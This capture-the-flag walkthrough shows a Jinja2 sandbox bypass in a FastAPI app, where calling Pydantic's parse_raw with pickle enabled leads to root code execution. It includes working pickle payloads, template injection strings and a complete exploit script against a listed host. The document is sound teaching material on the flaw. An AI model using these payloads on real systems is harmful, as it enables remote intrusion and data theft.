RevengeNinja
RevengeNinja
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: file_write_rce, pickle_deserialization_rce, sandbox_bypass_via_exposed_object_methods, ssti_jinja2
Summary
Walkthrough of the CUSTOM Web RevengeNinja. Task: a FastAPI preview endpoint rendered attacker-controlled Jinja2 templates inside SandboxedEnvironment with a live Pydantic user object in context. Solution: abuse exposed BaseModel.parse_raw(...,
Description
Target: http://62.173.140.174:16116
The root page exposed a FastAPI application with a /preview feature that rendered user-controlled template input. The goal was to turn the SSTI into code execution and recover a flag in CODEBY{...} format.
Analysis
Recon
Submitting {{7*7}} to the preview endpoint returned 49, confirming Jinja2 SSTI.
Direct sandbox-escape paths through dangerous attributes such as __globals__ were blocked or undefined, so the usual Jinja2 object-walking route was not available.
The key observation was that the template context exposed a user object which was a Pydantic BaseModel instance. Its public methods were still callable from inside the sandbox:
user.dict()user.json()user.parse_raw()user.parse_file()
Source recovered from the container confirmed the relevant flow:
python read-only • copy allowedenv = SandboxedEnvironment() preview = env.from_string(template.source).render(user=user)
requirements.txt confirmed:
text read-only • copy allowedfastapi==0.109.0 pydantic==2.5.3 Jinja2==3.1.2
Root cause
The sandbox only restricted dangerous template access patterns; it did not make the exposed application objects safe. Because user was a real Pydantic model, template code could call parse_raw() directly. That method accepted content_type="application/pickle" with allow_pickle=True, which turned the SSTI into insecure deserialization and then into RCE.
In short: SandboxedEnvironment protected Jinja internals, but not the dangerous behavior of methods exposed on trusted objects passed into the template.
Solution
Step 1: Confirm SSTI
Example payload:
jinja2 read-only • copy allowed{{7*7}}
Result:
text read-only • copy allowed49
Step 2: Identify callable Pydantic methods
Useful sandbox-safe probes:
jinja2 read-only • copy allowed{{ user.dict() }} {{ user.json() }} {{ user.parse_raw }}
This showed that methods on the Pydantic model were accessible even though low-level dunder traversal was blocked.
Step 3: Build a malicious pickle
The exploit used a pickle object whose __reduce__ executed os.system() and wrote command output into a web-accessible file.
python read-only • copy allowed#!/usr/bin/env python3 import base64 import pickle class RCE: def __reduce__(self): cmd = "id > /app/static/assets/pwned.txt" return (__import__("os").system, (cmd,)) payload = base64.b64encode(pickle.dumps(RCE(), protocol=0)).decode() print(payload)
Step 4: Trigger deserialization from the template
Exploit payload shape:
jinja2 read-only • copy allowed{{ user.parse_raw(PAYLOAD, content_type="application/pickle", allow_pickle=True) }}
Example request body concept:
http read-only • copy allowedPOST /preview template={{ user.parse_raw("<base64_pickle>", content_type="application/pickle", allow_pickle=True) }}
After sending a pickle that executed id > /app/static/assets/pwned.txt, fetching /static/assets/pwned.txt returned:
text read-only • copy alloweduid=0(root) gid=0(root) groups=0(root)
So the target was running as root and RCE was confirmed.
Step 5: Locate and read the flag
Recon via RCE revealed the flag file path:
text read-only • copy allowed/flag.3z2QnPf0vDDSzMXDgTZL.txt
The same primitive was then used to copy the flag into a static file:
python read-only • copy allowed#!/usr/bin/env python3 import base64 import pickle class RCE: def __reduce__(self): cmd = "cat /flag.3z2QnPf0vDDSzMXDgTZL.txt > /app/static/assets/flag.txt" return (__import__("os").system, (cmd,)) payload = base64.b64encode(pickle.dumps(RCE(), protocol=0)).decode() print(payload)
Template trigger:
jinja2 read-only • copy allowed{{ user.parse_raw("<base64_pickle>", content_type="application/pickle", allow_pickle=True) }}
Then retrieve:
bash read-only • copy allowedcurl "http://62.173.140.174:16116/static/assets/flag.txt"
Response:
text read-only • copy allowedCODEBY{REDACTED}
Full exploit example
python read-only • copy allowed#!/usr/bin/env python3 import base64 import pickle import requests BASE = "http://62.173.140.174:16116" class WriteFile: def __init__(self, cmd: str): self.cmd = cmd def __reduce__(self): return (__import__("os").system, (self.cmd,)) def trigger(command: str): blob = base64.b64encode(pickle.dumps(WriteFile(command), protocol=0)).decode() template = '{{ user.parse_raw("%s", content_type="application/pickle", allow_pickle=True) }}' % blob r = requests.post(f"{BASE}/preview", data={"template": template}, timeout=10) print(r.status_code) def main(): trigger("id > /app/static/assets/pwned.txt") print(requests.get(f"{BASE}/static/assets/pwned.txt", timeout=10).text) trigger("cat /flag.3z2QnPf0vDDSzMXDgTZL.txt > /app/static/assets/flag.txt") print(requests.get(f"{BASE}/static/assets/flag.txt", timeout=10).text) if __name__ == "__main__": main()
Why the sandbox failed
SandboxedEnvironmentblocked common Jinja2 escape primitives such as dunder-based attribute traversal.- But it still allowed calling public methods on objects intentionally exposed to the template.
- The exposed
userobject was a powerful Pydantic model, not a harmless DTO. parse_raw(..., allow_pickle=True)reintroduced unsafe deserialization inside the supposedly safe template context.
Key Takeaways / Lessons
- Mastering file_write_rce, pickle_deserialization_rce, sandbox_bypass_via_exposed_object_methods, ssti_jinja2 was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-04-04 • CUSTOM • RevengeNinja • Difficulty: Medium